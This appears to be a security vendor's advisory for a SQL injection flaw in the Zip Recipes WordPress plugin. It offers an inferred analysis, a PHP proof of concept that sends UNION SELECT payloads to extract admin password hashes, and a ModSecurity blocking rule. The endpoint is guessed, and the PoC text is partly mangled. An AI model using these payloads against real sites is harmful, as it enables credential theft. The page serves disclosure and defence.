Published : June 29, 2026

CVE-2026-57663: Recipe Cards For Your Food Blog from Zip Recipes <= 8.2.7 Authenticated (Contributor+) SQL Injection PoC, Patch Analysis & Rule

Plugin zip-recipes
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 8.2.7
Patched Version
Disclosed June 25, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-57663 (metadata-based): This vulnerability allows authenticated attackers with contributor-level access to perform SQL injection attacks against the Recipe Cards For Your Food Blog from Zip Recipes plugin (zip-recipes) up to version 8.2.7. The CVSS score of 6.5 (High) reflects the potential for significant data exposure with low attack complexity.

The root cause is a classic SQL injection flaw (CWE-89) in an SQL query construction. Atomic Edge research infers from the description that the plugin fails to properly escape a user-supplied parameter before embedding it into an existing SQL query. The description also indicates insufficient preparation of the query, suggesting the plugin may use wpdb->query() with direct string concatenation instead of wpdb->prepare() with placeholder substitution. This conclusion is inferred from the CWE and description, as no source code diff is available.

Atomic Edge analysis determines the attack vector likely targets an AJAX handler or REST endpoint used by the plugin’s recipe management features. Based on WordPress plugin conventions and the contributor-plus authentication requirement, the vulnerable endpoint probably follows a pattern like /wp-admin/admin-ajax.php?action=zip_recipes_{function}. The attacker sends a POST request containing malicious SQL in a parameter such as recipe_id, category_id, or ingredient_id. The injected SQL appends UNION SELECT or other SQL constructs to extract data from wp_users, wp_usermeta, or other sensitive tables. Common injection patterns include ‘ UNION SELECT user_login,user_pass FROM wp_users– or similar variations.

The fix likely involves replacing unsafe direct SQL query construction with wpdb->prepare() using placeholder substitution (%s, %d, %f) for the user-supplied parameter. Developers should sanitize the parameter with intval() for numeric fields or wpdb->prepare() with proper placeholders for string fields. The patch (version 8.2.8) probably implements these changes.

Successful exploitation allows attackers to extract sensitive information from the WordPress database, including user credentials (hashes), email addresses, session tokens, and potentially configuration data. This can lead to privilege escalation if the attacker cracks retrieved password hashes or accesses sensitive user data. The confidentiality impact is high.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-57663 – Recipe Cards For Your Food Blog from Zip Recipes $admin_username,n ‘pwd’ => $admin_password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Send malicious request to the vulnerable AJAX handlern// Assumed endpoint based on common plugin patternsn$vulnerable_url = $target_url . ‘/wp-admin/admin-ajax.php’;nn// SQL injection payload to extract admin user’s password hashn// This payload assumes a parameter named ‘recipe_id’ in a search/list functionn$malicious_parameter = ‘1 UNION SELECT user_login,user_pass,user_email,display_name FROM wp_users WHERE id=1–‘;nn$post_data = array(n ‘action’ => ‘zip_recipes_get_recipes’, // Inferred action namen ‘recipe_id’ => $malicious_parametern);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $vulnerable_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(‘Content-Type: application/x-www-form-urlencoded’));n$response = curl_exec($ch);ncurl_close($ch);nn// Output the response for analysisnecho “Response:\n”;necho $response;necho “\n\nIf vulnerable, this response should contain admin password hash data.\n”;nn// Alternative payload if the parameter expects numeric value in queryn// ‘ AND 1=2 UNION SELECT user_login,user_pass FROM wp_users WHERE id=1–nn// Clean up cookie filenunlink(‘/tmp/cookies.txt’);n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-57663 (metadata-based)n# Blocks SQL injection attempts via the zip-recipes plugin AJAX handlernnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:202657663,phase:2,deny,status:403,chain,msg:’CVE-2026-57663 SQL injection via zip-recipes AJAX’,severity:’CRITICAL’,tag:’CVE-2026-57663′,tag:’zip-recipes’,tag:’wordpress'”n SecRule ARGS_POST:action “@rx ^zip_recipes_” “chain”n SecRule ARGS:recipe_id|ARGS:category_id|ARGS:ingredient_id|ARGS:id “@rx (\bunion\b.*\bselect\b|\bselect\b.*\bfrom\b|\bor\b[\s\S]*1\s*=|–|\binto\s+outfile\b|\bload_file\b)” \n “t:lowercase,t:urlDecode,t:removeNulls,chain”n SecRule MATCHED_VAR “@rx [\s\S]*”n”
}
“`

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School